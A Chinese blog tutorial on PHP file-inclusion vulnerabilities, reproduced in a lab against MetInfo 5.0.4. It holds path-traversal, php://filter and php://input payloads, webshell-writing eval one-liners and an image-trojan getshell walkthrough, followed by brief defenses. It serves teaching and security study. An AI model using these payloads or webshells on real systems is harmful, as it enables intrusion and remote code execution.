文件包含漏洞及漏洞复现

news2024/11/26 1:26:36

文件包含漏洞

1. 文件包含概述

程序开发人员通常会把可重复使用函数或语句写到单个文件中，形成“封装”。在使用某个功能的时候，直接调用此文件，无需再次编写，提高代码重用性，减少代码量。这种调用文件的过程通常称为包含。

程序开发人员都希望代码更加灵活，所以会把被包含的文件的路径设置为变量，来进行动态调用（包含），但正是由于这种灵活性，如果被包含文件的路径客户端可控，造成任意文件包含漏洞。

几乎所有的脚本都会提供文件包含的功能，文件包含漏洞在PHP 的Web 应用中居多，在JSP/ASP/ASP.NET 程序中比较少。

1.1 文件包含语句

PHP提供了四个文件包含的语句，四个语句之间略有不同。

语言区别
include()多次包含，多次执行；
如果包含失败，脚本产生警告，继续运行。
include_once()多次包含，一次执行；
如果包含失败，脚本产生警告，继续运行。
require()多次包含，多次执行；
如果包含失败，脚本产生错误，结束执行。
require_once()多次包含，一次执行；
如果包含失败，脚本产生错误，结束执行。

注意:

文件读取和文件包含的区别：

  • 在任意文件读取的时候，PHP代码没有执行；
  • 文件包含的时候PHP代码执行了。只要包含的文件中有php代码，包含的过程中就会无脑执行PHP代码。

1.1.1 相关配置

查看phpinfo信息

在phpstudy中的www文件下新建file_include文件夹，在file_include中新建include.php

<?php
    $fp = "../phpinfo.php";
    include($fp);
?>

image-20230831194948240

文件包含是PHP 的基本功能之一，有本地文件包含与远程文件包含之分。简单来说，本地文件包含就是可以读取和打开本地文件，远程文件包含就是可以远程（方式）加载文件。可以通过php.ini 中的选项进行配置。

allow_url_fopen = On/Off	# 通过远程方式打开文件
allow_url_include = On/Off	# 通过远程方式包含文件

查看phpinfo中的Core中

image-20230831195710388

为了方便实验将两个参数全部改为on

image-20230831195903477

1.2 动态包含

1.2.1 示例代码

// file-include.php
$fp = @$_GET['filepath'];
include $fp;

<?php
    //$fp = "../phpinfo.php";
    $fp = @$_GET['filepath'];
    include($fp);
?>

image-20230831201031151

1.2.2 本地文件包含

本地文件包含（Local File Include，LFI）通过本地路径访问到的文件。

打开F12

?filepath=../phpinfo.php
?filepath=../ll.php

image-20230831201015887

image-20230831201135914

php中最严重的漏洞是文件包含；Java中最严重的漏洞是反序列化

1.2.3 远程文件包含

远程文件包含（Remote File Include，RFI），通过远程路径访问到的文件。

?filepath=http://192.168.16.136/phpinfo.php

image-20230831202044064

1.3 原理和特点

原理

PHP 文件包含是程序设计的基础功能之一，能够减少代码量，提高开发效率。但是使用文件包含功能时，有类似于以上测试代码的设计，实现了动态包含，就有产生文件包含漏洞的风险。如果实现动态包含的参数，Web 应用没有进行严格的校验，浏览器客户端用户可以影响控制被包含文件的路径，就会产生任意文件包含漏洞。

特点

无视文件扩展名读取文件内容。

?filepath=./a.jpg

无条件解析PHP代码，为图片木马提供出路

?filepath=a_yjh_info.jpg

漏洞形成原因总结：

  1. 开启了文件包含功能
  2. 可以动态包含
  3. 浏览器客户端用户可以控制文件路径：完全控制（约等于拿下系统），影响（路径跳转）

2. 文件包含攻防

2.1 利用方法

2.1.1 包含图片木马

菜刀直接链接。

http://10.4.7.130/file-include/file-include.php?filepath=a_yjh_info.jpg

2.1.2 读取敏感文件

利用文件包含漏洞，也可以读取敏感文件。

前提条件：

  • 目标文件存在（已知目标文件路径）；
  • 具有文件可读权限。

具体方法：

# 相对路径
?filepath=../../../../../../windows/system32/drivers/etc/hosts
# 绝对路径
?filepath=c:/windows/system32/drivers/etc/hosts

# 使用php 封装协议
?filepath=file://c:/windows/system32/drivers/etc/hosts
封装协议 说明
file://访问本地文件系统
http://访问 HTTP(s) 网址
ftp://访问 FTP(s) URLs
php://访问各个输入/输出流（I/O streams）
zlib://压缩流
data://数据（RFC 2397）
glob://查找匹配的文件路径模式
phar://PHP 归档
ssh2://Secure Shell 2
rar://RAR
ogg://音频流
expect://处理交互式的流

2.1.3 读取PHP文件源码

利用php://fileter读取

?filepath=php://filter/read=convert.base64-encode/resource=[目标文件]

读取结果

PD9waHANCi8vIGZpbGUtaW5jbHVkZS5waHANCg0KJGZwID0gQCRfR0VUWydmaWxlcGF0aCddOw0KQGluY2x1ZGUgJGZwOw==

2.1.4 执行PHP命令

  • 利用php://input 执行PHP 命令；
  • 远程文件包含开启。
POST /file-include/include.php?filepath=php://input HTTP/1.1 Host: 192.168.111.15
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate Connection: close
Cookie: PHPSESSID=q9lc0vlnggvo7kogh6j01a3582 Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache Content-Length: 18

<?php phpinfo();?>
<?php
system('whoami');
?>

2.1.5 包含文件木马写shell

条件：

  • 确定文件包含漏洞存在；
  • 菜刀不能直接连接

写shell

<?php  fputs(fopen("shell.php",'w'),'<?=@eval($_REQUEST[777]);phpinfo();?>')?> 

<?php file_put_contents('shell.php','<?php @eval($_REQUEST[777])?>')?

利用

http://10.4.7.130/file-include/shell.php

2.1.6 包含日志

Apache日志：

  • 访问日志
  • 错误日志

Nginx 日志：

  • 访问日志
  • 错误日志

SSH 日志

邮件日志

2.2 经典案例

  • metinfo_5.0.4_lfi

    • metinfo5.0.4漏洞分析

  • dvwa_lfi_high_getshell

2.2.1 环境搭建

image-20230831205616611

image-20230831205648590

image-20230831205727797

2.2.2 漏洞点

/about/index.php

传参：

?fmodule=7&module=

2.2.3 漏洞产生原因

文件包含语句：require_once

查看about下index.php文件内容

image-20230831211114848

输出fmodule和module

image-20230831211520790

module是在include/module.php下进行的初始化

控制fmodule的值

image-20230831211815336

image-20230831211909999

在include中的module中搜索 f m o d u l e ，当 fmodule，当 fmodule，当fmodule!=7对$module进行初始化，并且if判断没有else；也就是说当 f m o d u l e = 7 不会对 fmodule=7不会对 fmodule=7不会对module进行初始化。

image-20230831212844766

页面空白是因为index.php在第十行做包含的时候没有$module值

想要显现页面给$module赋值

image-20230831213333164

为$module赋其他的值，证明文件包含成功，文件包含的一大危害是文件读取

module=c:/windows\system32\drivers\etc\hosts

image-20230831213555983

2.2.4 深度利用

  1. 包含图片马使用蚁剑进行连接，在招贤纳士中的在线应聘中有图片上传

image-20230831214101967

上传图片木马

image-20230831214915686

image-20230831215220928

  1. 访问上传文件，并使用蚁剑进行连接

image-20230831215438201

连接失败，因为图片中的一句话木马无法执行

image-20230831215704954

  1. 使用文件包含，访问上传的图片
http://192.168.16.136/MetInfo5.0.4/about/index.php?fmodule=7&module=../upload/file/11.png

image-20230831220005651

使用蚁剑进行连接

image-20230831220053334

image-20230831220434173

2.2.5 读取敏感文件

# 相对路径
?filepath=../../../../../../windows/system32/drivers/etc/hosts
# 绝对路径
?filepath=c:/windows/system32/drivers/etc/hosts

# 使用php 封装协议
?filepath=file://c:/windows/system32/drivers/etc/hosts

image-20230831220625711

image-20230831220651470

image-20230831220719782

2.2.6 读取php源码

?fmodule=7&module=php://filter/read=convert.base64-encode/resource=show.php

image-20230831220909426

使用bp进行解密

image-20230831221111165

2.2.7 执行php命令

使用bp抓包，发送重发器将数据包改为post类型

image-20230831221802726

image-20230831222221717

image-20230831222241968

修改php语句就可以执行其他语句了

image-20230831223248016

2.3 文件包含防御

  • 尽量少的使用动态包含；

  • 严格过滤被包含文件的路径；

  • 将参数allow_url_include 设置为Off；

  • 使用参数open_basedir 限定文件访问范围。

open_basedir = c:\phpstudy_2016\www\

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/969741.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

机器学习与数据分析

机器学习与数据分析

【数据清洗】 异常检测 孤立森林&#xff08;Isolation Forest&#xff09;从原理到实践 效果评估&#xff1a;F-score 【1】 保护隐私的时间序列异常检测架构 概率后缀树 PST – &#xff08;异常检测&#xff09; 【1】 UEBA架构设计之路5&#xff1a; 概率后缀树模型 【…
阅读更多...
单独创建一个线程并执行

单独创建一个线程并执行

C并发编程入门 目录 STL 写法 #include <thread> #include <iostream> using namespace std;void thread_fun(void) {cout << "one STL thread!" << endl; }int main(void) {std::thread thread1(thread_fun);thread1.join();return 0; }其…
阅读更多...
数字IC验证——PSS可移植测试用例

数字IC验证——PSS可移植测试用例

PSS是Accellera组织定义的测试用例生成规范&#xff0c;其思想是定义一个抽象模型&#xff0c;EDA工具可以从中生成适用于每个设计层次结构和每个验证平台的测试&#xff0c;即PSS定义了统一的测试场景&#xff0c;而场景的使用可以横跨不同验证层次和配置。 这种特性决定了PSS…
阅读更多...
docker笔记8：Docker网络

docker笔记8：Docker网络

1.是什么 1.1 docker不启动&#xff0c;默认网络情况 ens33 lo virbr0 在CentOS7的安装过程中如果有选择相关虚拟化的的服务安装系统后&#xff0c;启动网卡时会发现有一个以网桥连接的私网地址的virbr0网卡(virbr0网卡&#xff1a;它还有一个固定的默认IP地址192.168.122…
阅读更多...
快速掌握STM32工程创建

快速掌握STM32工程创建

STM32 工程创建-- 使用Keil uVision5 软件 晓理紫 1 准备库函数库 STM32F10x_StdPeriph_Lib_V3.5.0 VX 搜索“晓丽紫”关注回复STM32F10x即可下载 2、创建一个目录用来存放工程 STM32Study STM32Study/study1 存放本次工程目录 3、打开Keil uVision5 创建工程 4、选择型号(根据…
阅读更多...
租服务器训练深度学习模型

租服务器训练深度学习模型

一、选择租哪个 推荐用AutoDL(便宜、功能强大、gug少、有时时客服解决问题) AutoDL算力云 | 弹性、好用、省钱。租GPU就上AutoDL 二、注册、登录 学生可以认证&#xff0c;享受会员价 服务器需要登录后先充值&#xff0c;先充个10元&#xff0c;接下来试试看。每次都是开机…
阅读更多...
Web framework-Gin(二)

Web framework-Gin(二)

一、Gin 1、Ajax AJAX 即“Asynchronous Javascript And XML”&#xff08;异步 JavaScript和 XML&#xff09;&#xff0c;是指一种创建交互式、快速动态网页应用的网页开发技术&#xff0c;无需重新加载整个网页的情况下&#xff0c;能够更新部分网页的技术。通过在后台与服…
阅读更多...
AppleID切换验证手机

AppleID切换验证手机

第一步&#xff1a;登录个人信息页面 https://appleid.apple.com/account/manage/section/security 第二步&#xff1a;选择账户安全 第三步&#xff1a;验证新手机号即可
阅读更多...
供应链 | 顶会CIKM论文精读：面向大规模三维装箱问题的数据驱动树形搜索算法

供应链 | 顶会CIKM论文精读：面向大规模三维装箱问题的数据驱动树形搜索算法

论文解读&#xff1a;丁建辉&#xff0c;李明哲&#xff0c;赵艳蓉&#xff0c;孙楚天 编者按 本次解读的文章发表于CCF-B类会议30th ACM International Conference on Information and Knowledge Management。摘要总结如下&#xff1a; 3维装箱问题&#xff08;3D-BPP&#…
阅读更多...
2023第二届陇剑杯网络安全大赛 预选赛Writeup

2023第二届陇剑杯网络安全大赛 预选赛Writeup

题目附件 链接&#xff1a;https://pan.baidu.com/s/1J20VusdMjit4coWAi5lnnQ 提取码&#xff1a;6emq 文章目录 HWhard_web_1hard_web_2hard_web_3 SSsevrer save_1sevrer save_2sevrer save_3sevrer save_4sevrer save_5sevrer save_6sevrer save_7sevrer save_8 WSWireshar…
阅读更多...
46、TCP的“三次握手”

46、TCP的“三次握手”

在上一节中&#xff0c;TCP首部常用的几个选项&#xff0c;有些选项的参数就是在通信双方在建立TCP连接的时候进行确定和协商的。所以在学习过TCP报文首部之后&#xff0c;下面我们开始学习TCP的连接建立。 TCP的一个特点是提供可靠的传输机制&#xff0c;还有一个特点就是TCP…
阅读更多...
字符型注入（[SWPUCTF 2021 新生赛]easy_sql）

字符型注入（[SWPUCTF 2021 新生赛]easy_sql）

拿到题目&#xff0c;查看源码&#xff0c;可知是要输入参数wllm。 输入参数/?wllm1&#xff0c;得到会显 继续输入参数/?wllm1&#xff0c;报错&#xff0c;确定为字符型漏洞 1.查看字段列表&#xff0c;发现在字段4报错&#xff0c;确定为3列 ?wllm-1 order by 3-- ?wl…
阅读更多...
基于JavaScript粒子流动效果

基于JavaScript粒子流动效果

这是一个HTML文件&#xff0c;主要包含了一些CSS样式和JavaScript代码&#xff0c;用于创建一个动画效果。 在CSS部分&#xff0c;定义了一些基本的样式&#xff0c;包括页面的背景颜色、位置、大小等。特别的&#xff0c;定义了两种球形元素&#xff08;.ball_A 和 .ball_B&am…
阅读更多...
静态路由配置实验：构建多路由器网络拓扑实现不同业务网段互通

静态路由配置实验：构建多路由器网络拓扑实现不同业务网段互通

文章目录 一、实验背景与目的二、实验拓扑三、实验需求四、实验解法1. 配置 IP 地址2. 按照需求配置静态路由&#xff0c;实现连接 PC 的业务网段互通 摘要&#xff1a; 本实验旨在通过配置网络设备的IP地址和静态路由&#xff0c;实现不同业务网段之间的互通。通过构建一组具有…
阅读更多...
nginx-基于range做断点续传

nginx-基于range做断点续传

nginx默认开启了range断点续传&#xff0c;只要再请求时载请求头上添加header&#xff0c;range&#xff0c;nginx就可以根据range范围返回相应的字节。
阅读更多...
zabbix配置钉钉告警

zabbix配置钉钉告警

钉钉告警python脚本 cat python20 #!/usr/bin/python3 #coding:utf-8 import requests,json,sys,os,datetime # 机器人的Webhook地址 webhook"钉钉" usersys.argv[1] textsys.argv[3] data{"msgtype": "text","text": {"conten…
阅读更多...
Leetcode 2431.最小偶倍数

Leetcode 2431.最小偶倍数

给你一个正整数 n &#xff0c;返回 2 和 n 的最小公倍数&#xff08;正整数&#xff09;。 示例 1&#xff1a; 输入&#xff1a;n 5 输出&#xff1a;10 解释&#xff1a;5 和 2 的最小公倍数是 10 。示例 2&#xff1a; 输入&#xff1a;n 6 输出&#xff1a;6 解释&#…
阅读更多...
docker 笔记10：Docker轻量级可视化工具Portainer

docker 笔记10：Docker轻量级可视化工具Portainer

1. 是什么 Portainer 是一款轻量级的应用&#xff0c;它提供了图形化界面&#xff0c;用于方便地管理Docker环境&#xff0c;包括单机环境和集群环境。 2.安装 https://docs.portainer.io/v/ce-2.9/start/install/server/docker/linux 步骤 docker命令安装 docker run -d …
阅读更多...
【postgresql 基础入门】数据库服务的管理

【postgresql 基础入门】数据库服务的管理

数据库服务管理 ​专栏内容&#xff1a; postgresql内核源码分析手写数据库toadb并发编程 ​开源贡献&#xff1a; toadb开源库 个人主页&#xff1a;我的主页 管理社区&#xff1a;开源数据库 座右铭&#xff1a;天行健&#xff0c;君子以自强不息&#xff1b;地势坤&#xff…
阅读更多...
第一章：绪论

第一章：绪论

1.1 系统架构概述 架构是体现在组件中的一个系统的基本组织、它们彼此的关系与环境的关系以及指导它的设计和发展的原则。 系统是组织起来完成某一特定功能火一组功能的组件集。系统这个术语包括了单独的应用程序、传统意义上的系统、子系统、系统之系统、产品线、整个企业及…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023